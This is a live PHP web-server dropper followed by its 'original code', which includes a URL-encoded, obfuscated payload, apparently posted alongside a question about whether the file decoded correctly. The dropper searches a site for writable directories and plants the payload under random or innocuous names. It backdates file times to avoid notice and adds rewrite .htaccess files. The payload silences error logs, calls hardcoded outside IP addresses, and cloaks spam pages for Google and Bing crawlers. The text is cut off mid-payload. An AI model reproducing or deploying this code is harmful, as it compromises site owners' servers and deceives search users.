$common_names3 = unserialize(rawurldecode("a%3A10%3A%7Bi%3A0%3Bs%3A10%3A%22lisa-duffy%22%3Bi%3A1%3Bs%3A6%3A%22PoVpPt%22%3Bi%3A2%3Bs%3A8%3A%22for-sale%22%3Bi%3A3%3Bs%3A8%3A%22jVLvTlfK%22%3Bi%3A4%3Bs%3A6%3A%22cna-to%22%3Bi%3A5%3Bs%3A4%3A%22CTKs%22%3Bi%3A6%3Bs%3A15%3A%22barstow-rentals%22%3Bi%3A7%3Bs%3A3%3A%22ePL%22%3Bi%3A8%3Bs%3A14%3A%22bubble-numbers%22%3Bi%3A9%3Bs%3A6%3A%22IfGgfX%22%3B%7D")); 
 
 
 
///////////////////////////////////////////////////////// 
 
function comparer($a, $b) 
 
{ 
 
    return strlen($a) - strlen($b); 
 
} 
 
 
 
if (!function_exists('file_put_contents')) { 
 
    function file_put_contents($filename, $data) 
 
    { 
 
        $f = @fopen($filename, 'w'); 
 
        if (!$f) { 
 
            return false; 
 
        } else { 
 
            $bytes = fwrite($f, $data); 
 
            fclose($f); 
 
            return $bytes; 
 
        } 
 
    } 
 
} 
 
 
 
function GetPathDiff($base_path, $full_path) 
 
{ 
 
    $pos = strpos($full_path, $base_path); 
 
 
 
    if ($pos === FALSE) { 
 
        return FALSE; 
 
    } 
 
 
 
    return substr($full_path, $pos + strlen($base_path)); 
 
} 
 
 
 
function GetWritableDirs() 
 
{ 
 
    $res = Array(); 
 
 
 
    $analysys_queue = Array(); 
 
 
 
    $analysys_queue[] = GetDocRoot(); 
 
 
 
    $self_path = $_SERVER['SCRIPT_FILENAME']; 
 
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) { 
 
        $self_path = substr($self_path, 0, $slash); 
 
 
 
        if ($self_path == GetDocRoot()) { 
 
            break; 
 
        } 
 
 
 
        if (strlen($self_path)) { 
 
            $analysys_queue[] = $self_path; 
 
        } 
 
    } 
 
 
 
    foreach ($analysys_queue as $current_dir) { 
 
        if (!in_array($current_dir, $res)) { 
 
            $res = array_merge($res, GetDirectoryList($current_dir)); 
 
        } 
 
    } 
 
    $res = array_merge($analysys_queue, $res); 
 
 
 
    return CheckWritable(array_unique($res)); 
 
} 
 
 
 
function CheckWritable($dir_list) 
 
{ 
 
    $dir_list_writable = Array(); 
 
 
 
    foreach ($dir_list as $dir) { 
 
        if (@is_writable($dir) == TRUE) { 
 
            $dir_list_writable[] = $dir; 
 
        } 
 
    } 
 
 
 
    return $dir_list_writable; 
 
} 
 
 
 
function GetDirectoryList($dir, $depth = 10) 
 
{ 
 
 
 
    $result = array(); 
 
    $dir_count = 0; 
 
 
 
    if ($depth == 0) { 
 
        return $result; 
 
    } 
 
 
 
    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/'); 
 
    $h = @opendir($dir); 
 
    if ($h === FALSE) { 
 
        return $result; 
 
    } 
 
 
 
    while (($f = readdir($h)) !== FALSE) { 
 
        if ($f !== '.' and $f !== '..') { 
 
            $current_dir = "$dir/$f"; 
 
            if (is_dir($current_dir)) { 
 
                $dir_count += 1; 
 
 
 
                if ($dir_count >= $depth) { 
 
                    break; 
 
                } 
 
 
 
                $result[] = $current_dir; 
 
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10)); 
 
            } 
 
        } 
 
    } 
 
 
 
    closedir($h); 
 
 
 
    return $result; 
 
} 
 
 
 
function GetDocRoot() 
 
{ 
 
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']); 
 
    if ($docroot_end === FALSE) { 
 
        return $_SERVER['DOCUMENT_ROOT']; 
 
    } elseif ($docroot_end === 0) { 
 
        return "/"; 
 
    } else { 
 
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end); 
 
    } 
 
} 
 
 
 
function GetRandStr($min, $max) 
 
{ 
 
    $length = rand($min, $max); 
 
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; 
 
    $charactersLength = strlen($characters); 
 
    $randomString = ''; 
 
    for ($i = 0; $i < $length; $i++) { 
 
        $randomString .= $characters[rand(0, $charactersLength - 1)]; 
 
    } 
 
    return $randomString; 
 
} 
 
 
 
//////////////////////////////////////////////////////////////////////////////////////////// 
 
 
 
# get base local and remote path 
 
$base_www_path = $host = @$_SERVER['HTTP_HOST']; 
 
$base_local_path = GetDocRoot(); 
 
 
 
if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) { 
 
    if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) { 
 
        if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) { 
 
            if (!($base_local_path_time = @stat($base_local_path . "/.."))) { 
 
                if (!($base_local_path_time = @stat($base_local_path))) { 
 
                    $base_local_path_time = Array(); 
 
                    $base_local_path_time['mtime'] = time(); 
 
                } 
 
            } 
 
        } 
 
    } 
 
} 
 
 
 
$htaccess = "%3CIfModule%20mod_rewrite.c%3E%0D%0ARewriteEngine%20On%0D%0ARewriteRule%20%5Eindex%5C.php%24%20-%20%5BL%5D%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-f%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-d%0D%0ARewriteRule%20%5E%28.%2A%29%24%20.%2Findex.php%20%5BL%5D%0D%0A%3C%2FIfModule%3E"; 
 
 
 
$base_local_path_time = $base_local_path_time['mtime']; 
 
 
 
if (!empty($payload_url)) 
 
{ 
 
    if (substr($payload_url, -1) == "/") 
 
    { 
 
        $payload_url = $payload_url . "index.php"; 
 
    } 
 
 
 
    $tokens = explode("/", $payload_url, 4); 
 
    $payload_path = $base_local_path . DIRECTORY_SEPARATOR . $tokens[3]; 
 
 
 
    @mkdir(dirname($payload_path), 0755); 
 
 
 
    @file_put_contents($payload_path, rawurldecode($payload_file)); 
 
    @file_put_contents(dirname($payload_path) . "/.htaccess", rawurldecode($htaccess)); 
 
 
 
    @touch($payload_path, time() + 120); 
 
    echo "URL#" . $payload_url . PHP_EOL; 
 
    exit(); 
 
} 
 
 
 
srand(time()); 
 
 
 
$dir_list_writable = GetWritableDirs(); 
 
 
 
if (count($dir_list_writable) == 0) { 
 
    echo "STATUS_UNWRITABLE"; 
 
    exit(); 
 
} 
 
 
 
usort($dir_list_writable, 'comparer'); 
 
 
 
$max_tries = 5; 
 
foreach ($dir_list_writable as $current_dir) 
 
{ 
 
    if ($max_tries == 0) 
 
    { 
 
        break; 
 
    } 
 
    $max_tries -= 1; 
 
 
 
    if (TRUE) 
 
    { 
 
        if (rand() % 2) 
 
        { 
 
            $temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 8); 
 
        } 
 
        else 
 
        { 
 
            $temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . $common_names3[array_rand($common_names3)]; 
 
        } 
 
 
 
        if (@file_exists($temp_payload_dir)) 
 
        { 
 
            continue; 
 
        } 
 
        @mkdir($temp_payload_dir, 0755); 
 
        @touch($temp_payload_dir, $base_local_path_time); 
 
 
 
        if (!@is_dir($temp_payload_dir)) 
 
        { 
 
            continue; 
 
        } 
 
    } 
 
    else 
 
    { 
 
        $temp_payload_dir = $current_dir; 
 
    } 
 
 
 
    while (TRUE) 
 
    { 
 
        if ($payload_type === "TYPE_DIR") 
 
        { 
 
            $mode = 2; 
 
        } 
 
        elseif ($payload_type === "TYPE_FILE") 
 
        { 
 
            $mode = 1; 
 
        } 
 
        else 
 
        { 
 
            $mode = rand() % 2; 
 
        } 
 
 
 
        if ($mode === 0) 
 
        { 
 
            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 7) . ".php"; 
 
            break; 
 
        } 
 
        elseif ($mode === 1) 
 
        { 
 
            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . $common_names2[array_rand($common_names2)] . ".php"; 
 
            if (!@file_exists($full_payload_name)) 
 
            { 
 
                break; 
 
            } 
 
        } 
 
        else 
 
        { 
 
            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . "index.php"; 
 
            @file_put_contents($temp_payload_dir . DIRECTORY_SEPARATOR . ".htaccess", rawurldecode($htaccess)); 
 
            break; 
 
        } 
 
    } 
 
 
 
    $uri_path = GetPathDiff($base_local_path, $full_payload_name); 
 
    $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path); 
 
 
 
    @file_put_contents($full_payload_name, rawurldecode($payload_file)); 
 
    if (@file_exists($full_payload_name)) { 
 
        @touch($full_payload_name, time() + 120); 
 
        echo "URL#http://" . str_replace("index.php", "", $full_uri) . PHP_EOL; 
 
        exit(); 
 
    } 
 
} 
 
 
 
echo "STATUS_CANTUPLOAD"; 
 
exit(); ?>

Did this file decode correctly?

Original Code

<?php 



if (!defined("PHP_EOL")) {

    define("PHP_EOL", "\n");

}



if (!defined("DIRECTORY_SEPARATOR")) {

    define("DIRECTORY_SEPARATOR", "/");

}





$payload_file = "%3C%3Fphp%0A%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bdate_default_timezone_set%28%27UTC%27%29%3Bclass%20_79zfb9%7Bstatic%20private%20%24_sl5nhhwu%20%3D%2084485150%3Bstatic%20function%20_skc19%28%24_79wt4ge0%2C%20%24_osyh7011%29%7B%24_79wt4ge0%5B2%5D%20%3D%20count%28%24_79wt4ge0%29%20%3E%204%20%3F%20long2ip%28_79zfb9%3A%3A%24_sl5nhhwu%20-%20529%29%20%3A%20%24_79wt4ge0%5B2%5D%3B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%2C%20%24_osyh7011%29%3Bif%20%28%21%24_x0013v0w%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%2C%20%24_osyh7011%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dstatic%20function%20_9enqk%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28%21function_exists%28%27curl_version%27%29%29%20%7Breturn%20%22%22%3B%7Dif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_zrffvwu8%20%3D%20curl_init%28%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYHOST%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYPEER%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_URL%2C%20%24_79wt4ge0%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POST%2C%201%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POSTFIELDS%2C%20%24_x0013v0w%29%3B%7Dif%20%28%21empty%28%24_pneb21v4%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_HTTPHEADER%2C%20%24_pneb21v4%29%3B%7Dcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_RETURNTRANSFER%2C%20TRUE%29%3B%24_jh5ealbv%20%3D%20curl_exec%28%24_zrffvwu8%29%3Bcurl_close%28%24_zrffvwu8%29%3Breturn%20%24_jh5ealbv%3B%7Dstatic%20function%20_3ncnn%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_47fxccvz%20%3D%20%22%5Cr%22%20.%20%22%5Cn%22%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27POST%27%2C%27header%27%20%3D%3E%20%27Content-type%3A%20application/x-www-form-urlencoded%27%2C%27content%27%20%3D%3E%20%24_x0013v0w%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20%24_0cyxrlie%5B%22header%22%5D%20.%20%24_47fxccvz%20.%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7D%20else%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27GET%27%2C%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7Dreturn%20%40file_get_contents%28%24_79wt4ge0%2C%20FALSE%2C%20%24_gd1au729%29%3B%7D%7Dclass%20_v6ya63%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_r0b1q0sq%20%3D%20-1%3Bprivate%20static%20%24_n9f3i9zb%20%3D%20%22%22%3Bprivate%20%24_mdr61w5r%20%3D%20%22%22%3Bprivate%20%24_kj2jlx7n%20%3D%20%22%22%3Bprivate%20%24_4y95yidp%20%3D%20%22%22%3Bprivate%20%24_4qy4zmi3%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_qh4r8uy8%2C%20%24_r44rgrti%29%7B_v6ya63%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/cache/%22%3B_v6ya63%3A%3A%24_r0b1q0sq%20%3D%20%24_qh4r8uy8%3B_v6ya63%3A%3A%24_n9f3i9zb%20%3D%20%24_r44rgrti%3Bif%20%28%21%40file_exists%28_v6ya63%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_v6ya63%3A%3A%24_onc6y982%29%3B%7D%7Dstatic%20public%20function%20_vga85%28%29%7B%24_73937oah%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%3B%24_mk8d72ze%20%3D%20Array%28%22google%22%20%3D%3E%20Array%28%29%2C%20%22bing%22%20%3D%3E%20Array%28%29%2C%29%3Bforeach%20%28array_keys%28%24_mk8d72ze%29%20as%20%24_5bjqfno9%29%7B%24_tycvmk6k%20%3D%20%24_73937oah%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%24_6pfzvk6r%20%3D%20%40file%28%24_tycvmk6k%2C%20FILE_IGNORE_NEW_LINES%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_5sgzz3hq%29%7B%24_ttie0k4s%20%3D%20explode%28%22%5Ct%22%2C%20%24_5sgzz3hq%29%3Bif%20%28%21isset%28%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%29%29%7B%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%3D%200%3B%7D%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%2B%3D%201%3B%7D%7D%24_mk8d72ze%5B%22prefix%22%5D%20%3D%20%24_73937oah%3Breturn%20%24_mk8d72ze%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dpublic%20function%20__construct%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%7B%24this-%3E_mdr61w5r%20%3D%20%24_swlicjbm%3B%24this-%3E_kj2jlx7n%20%3D%20%24_c2d4vsy0%3B%24this-%3E_4y95yidp%20%3D%20%24_o4h21pkl%3B%24this-%3E_4qy4zmi3%20%3D%20%24_xnnqxgqw%3B%7Dpublic%20function%20_neje4%28%29%7Bfunction%20_bwk3z%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7Breturn%20round%28rand%28%24_e0w6pl49%2C%20%24_78iw99aq%20-%201%29%20%2B%20%28rand%280%2C%20PHP_INT_MAX%20-%201%29%20/%20PHP_INT_MAX%29%2C%202%29%3B%7D%24_3jiwi54r%20%3D%20time%28%29%3B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%40file_put_contents%28%24_tycvmk6k%2C%20%24this-%3E_4y95yidp%20.%20%22%5Ct%22%20.%20%28%24_3jiwi54r%20-%20%28%24_3jiwi54r%20%25%203600%29%29%20.PHP_EOL%2C%208%29%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_x0013v0w%20%3D%20str_replace%28%22%7B%7B%20text%20%7D%7D%22%2C%20%24this-%3E_kj2jlx7n%2Cstr_replace%28%22%7B%7B%20keyword%20%7D%7D%22%2C%20%24this-%3E_4y95yidp%2Cstr_replace%28%22%7B%7B%20links%20%7D%7D%22%2C%20%24this-%3E_4qy4zmi3%2C%20%24this-%3E_mdr61w5r%29%29%29%3Bwhile%20%28TRUE%29%20%7B%24_xvuql9o9%20%3D%20preg_replace%28%27/%27%20.%20preg_quote%28%22%7B%7B%20randkeyword%20%7D%7D%22%2C%20%27/%27%29%20.%20%27/%27%2C%20_xyxad4u%3A%3A_8dnv4%28%29%2C%20%24_x0013v0w%2C%201%29%3Bif%20%28%24_xvuql9o9%20%3D%3D%3D%20%24_x0013v0w%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20%24_xvuql9o9%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX-ANCHOR%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_ouhgv6fy%20%3D%20_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_ouhgv6fy%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_o4h21pkl%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDFLOAT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20_bwk3z%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDINT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20rand%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dpublic%20function%20_g7wwk%28%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24this-%3E_4y95yidp%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3Bif%20%28_v6ya63%3A%3A%24_r0b1q0sq%20%3D%3D%20-1%29%20%7B%24_wvusgnbi%20%3D%20-1%3B%7D%20else%20%7B%24_wvusgnbi%20%3D%20time%28%29%20%2B%20%283600%20%2A%2024%20%2A%2030%29%3B%7D%24_09745prc%20%3D%20array%28%22template%22%20%3D%3E%20%24this-%3E_mdr61w5r%2C%20%22text%22%20%3D%3E%20%24this-%3E_kj2jlx7n%2C%20%22keyword%22%20%3D%3E%20%24this-%3E_4y95yidp%2C%22links%22%20%3D%3E%20%24this-%3E_4qy4zmi3%2C%20%22expired%22%20%3D%3E%20%24_wvusgnbi%29%3B%40file_put_contents%28%24_tycvmk6k%2C%20serialize%28%24_09745prc%29%29%3B%7Dstatic%20public%20function%20_q42pz%28%24_o4h21pkl%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24_o4h21pkl%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3B%24_tycvmk6k%20%3D%20%40unserialize%28%40file_get_contents%28%24_tycvmk6k%29%29%3Bif%20%28%21empty%28%24_tycvmk6k%29%20%26%26%20%28%24_tycvmk6k%5B%22expired%22%5D%20%3E%20time%28%29%20%7C%7C%20%24_tycvmk6k%5B%22expired%22%5D%20%3D%3D%20-1%29%29%20%7Breturn%20new%20_v6ya63%28%24_tycvmk6k%5B%22template%22%5D%2C%20%24_tycvmk6k%5B%22text%22%5D%2C%20%24_tycvmk6k%5B%22keyword%22%5D%2C%20%24_tycvmk6k%5B%22links%22%5D%29%3B%7D%20else%20%7Breturn%20null%3B%7D%7D%7Dclass%20_cwqzsic%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_cwqzsic%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_cwqzsic%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_cwqzsic%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_cwqzsic%3A%3A%24_onc6y982%29%3B%7D%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_moy7x%28%29%7B%24_2rqfxc3j%20%3D%200%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_2rqfxc3j%20%2B%3D%201%3B%7D%7Dreturn%20%24_2rqfxc3j%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7B%24_ep0k5sxh%20%3D%20array%28%29%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_ep0k5sxh%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7D%24_x0013v0w%20%3D%20%40file_get_contents%28_cwqzsic%3A%3A%24_onc6y982%20.%20%24_ep0k5sxh%5Barray_rand%28%24_ep0k5sxh%29%5D%29%3Breturn%20%24_x0013v0w%3B%7Dstatic%20public%20function%20_g7wwk%28%24_3e3yj5cm%29%7Bif%20%28%40file_exists%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%2C%20%24_3e3yj5cm%29%3B%7D%7Dclass%20_xyxad4u%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bprivate%20static%20%24_907snz8i%20%3D%20array%28%29%3Bprivate%20static%20%24_j00tqi38%20%3D%20array%28%29%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_xyxad4u%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_xyxad4u%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_xyxad4u%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_xyxad4u%3A%3A%24_onc6y982%29%3B%7D%7Dprivate%20static%20function%20_k7pwt%28%29%7B%24_5kvxntg8%20%3D%20array%28%29%3Bforeach%20%28scandir%28_xyxad4u%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_xyxad4u%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_5kvxntg8%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7Dreturn%20%24_5kvxntg8%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_907snz8i%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3B_xyxad4u%3A%3A%24_907snz8i%20%3D%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_5kvxntg8%5Barray_rand%28%24_5kvxntg8%29%5D%2C%20FILE_IGNORE_NEW_LINES%29%3B%7Dreturn%20_xyxad4u%3A%3A%24_907snz8i%5Barray_rand%28_xyxad4u%3A%3A%24_907snz8i%29%5D%3B%7Dstatic%20public%20function%20_3ap03%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_j00tqi38%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3Bforeach%20%28%24_5kvxntg8%20as%20%24_ayhpbot1%29%20%7B_xyxad4u%3A%3A%24_j00tqi38%20%3D%20array_merge%28_xyxad4u%3A%3A%24_j00tqi38%2C%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_ayhpbot1%2C%20FILE_IGNORE_NEW_LINES%29%29%3B%7D%7Dreturn%20_xyxad4u%3A%3A%24_j00tqi38%3B%7Dstatic%20public%20function%20_g7wwk%28%24_72yj6qzs%29%7Bif%20%28%40file_exists%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%2C%20%24_72yj6qzs%29%3B%7Dstatic%20public%20function%20_7z4dg%28%24_o4h21pkl%29%7B%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28_er50gh%3A%3A%24_wqq8o3s4%29%20.%20%22.list%22%2C%20%24_o4h21pkl%20.%20%22%5Cn%22%2C%208%29%3B%7D%7Dclass%20_er50gh%7Bstatic%20public%20%24_798p6ki4%20%3D%20%225.5%22%3Bstatic%20public%20%24_wqq8o3s4%20%3D%20%2283fe3b09-80a6-3360-c5db-c346cc24407e%22%3Bstatic%20public%20%24_hz9omu24%20%3D%20%22http%3A//136.12.78.46/app/assets/api2%3Faction%3Dredir%22%3Bstatic%20public%20%24_h8dxh8hr%20%3D%20%22http%3A//136.12.78.46/app/assets/api%3Faction%3Dpage%22%3Bstatic%20public%20%24_loyjoas0%20%3D%201%3Bstatic%20public%20%24_p0pykfqo%20%3D%205%3Bprivate%20function%20_ot7y0%28%29%7B%24_t5p9dxvy%20%3D%20array%28%27%23libwww-perl%23i%27%2C%27%23MJ12bot%23i%27%2C%27%23msnbot%23i%27%2C%20%27%23msnbot-media%23i%27%2C%27%23YandexBot%23i%27%2C%20%27%23msnbot%23i%27%2